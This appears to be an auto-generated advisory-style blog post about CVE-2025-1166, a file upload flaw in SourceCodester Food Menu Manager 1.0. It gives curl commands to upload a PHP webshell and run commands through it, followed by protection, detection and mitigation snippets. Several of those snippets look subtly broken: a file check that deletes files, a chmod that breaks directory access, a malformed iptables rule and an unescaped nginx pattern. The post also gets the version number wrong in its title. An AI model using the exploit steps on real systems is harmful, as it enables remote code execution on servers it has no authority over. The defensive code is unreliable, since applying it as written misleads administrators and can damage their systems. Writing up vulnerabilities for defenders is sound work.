SourceCodester Food Menu Manager 10, Unrestricted File Upload, CVE-2025-1166 (Critical)

Listen to this Post

How CVE-2025-1166 Works

The vulnerability exists in `endpoint/update.php` of SourceCodester Food Menu Manager 1.0 due to insufficient file validation. Attackers can upload arbitrary files (e.g., PHP webshells) remotely by crafting malicious HTTP requests. The server fails to verify file extensions, content type, or size, allowing execution of uploaded malicious scripts under the web root. This leads to remote code execution (RCE) with the privileges of the web server.

DailyCVE Form

Platform: SourceCodester Food Menu Manager
Version: 1.0
Vulnerability: Unrestricted File Upload
Severity: Critical
Date: 2025-05-14

What Undercode Say:

Exploitation

1. Craft Malicious Request:

curl -X POST -F "[email protected]" http://target.com/endpoint/update.php

2. Verify Upload:

curl -I http://target.com/uploads/shell.php

3. Execute Payload:

curl http://target.com/uploads/shell.php?cmd=id

Protection

1. Patch: Apply vendor updates if available.

2. File Validation:

$allowed_ext = ['jpg', 'png'];
if (!in_array(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION), $allowed_ext)) {
die("Invalid file type.");
}

3. Server Configuration:

<Directory /uploads>
php_flag engine off
</Directory>

4. WAF Rules:

location ~ .php$ {
deny all;
}

Detection

1. Log Analysis:

grep "POST /endpoint/update.php" /var/log/apache2/access.log

2. File Integrity Checks:

find /var/www/html/uploads -name ".php" -exec rm -f {} \;

Mitigation

1. Disable PHP Execution:

chmod -R 644 /var/www/html/uploads

2. Input Sanitization:

$file_name = basename($_FILES['file']['name']);

3. Network Segmentation:

iptables -A INPUT -p tcp --dport 80 -s !trusted_ip -j DROP

References

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top